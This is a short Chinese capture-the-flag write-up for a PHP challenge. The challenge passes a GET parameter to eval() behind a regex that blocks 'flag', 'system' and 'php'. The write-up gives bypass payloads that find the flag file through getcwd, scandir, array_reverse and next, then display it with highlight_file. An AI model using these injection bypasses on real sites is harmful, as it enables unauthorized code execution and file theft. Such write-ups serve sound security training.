题目信息※
命令执行需要严格的过滤
打开网页提示

得到一段PHP代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}这段代码里面与上一题相同,采用了正则表达式函数preg_match(),这次多了几个条件,一个是禁止含有flag/system/php这三个值
解题思路※
当文件包含了flag/system/php就无法执行了,想办法绕过,我们采用路径拼接的方式去绕过
使用print_r函数来辅助我们看到具体的内容
getcwd() // 获取当前所在的绝对路径
scandir() // 扫描目录下有什么文件
array_reverse() //使用反转列表 使flag.php在第二个位置
当需要读取数组第一个值的时候使用 current() 如果是第二个则是next()


之后,我们尝试拼接到system函数里
system("cat".next(array_reverse(scandir(getcwd()))))
发现无法查看内容,意思是被包含之后执行了代码,使用highlight_file()函数高亮显示代码
highlight_file(next(array_reverse(scandir(getcwd()))))